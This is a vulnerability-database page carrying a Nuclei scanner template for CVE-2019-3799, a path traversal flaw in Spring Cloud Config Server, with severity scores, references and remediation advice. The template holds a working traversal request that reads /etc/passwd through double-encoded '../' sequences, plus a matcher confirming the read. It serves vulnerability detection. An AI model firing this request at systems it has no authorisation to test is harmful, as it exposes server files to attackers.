Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2019-3799
HistoryJun 22, 2020 - 1:35 p.m.

Spring Cloud Config Server - Local File Inclusion

2020-06-2213:35:37
ProjectDiscovery
github.com
10

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

EPSS

0.026

Percentile

90.3%

Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.

id: CVE-2019-3799

info:
  name: Spring Cloud Config Server - Local File Inclusion
  author: madrobot
  severity: medium
  description: Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
  reference:
    - https://github.com/mpgn/CVE-2019-3799
    - https://pivotal.io/security/cve-2019-3799
    - https://www.oracle.com/security-alerts/cpuapr2022.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3799
    - https://github.com/0xT11/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-3799
    cwe-id: CWE-22
    epss-score: 0.02947
    epss-percentile: 0.90832
    cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_config
  tags: cve,cve2019,lfi,vmware

http:
  - method: GET
    path:
      - "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100884d5122af099bd55156669a663c8c00a457bb10e509802352655c7a53d6879e022100c0feba0e79bef233214a18c02f7fbb22b99df293f84784823f274a9f97888482:922c64590222798bb761d5b6d8e72950

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

EPSS

0.026

Percentile

90.3%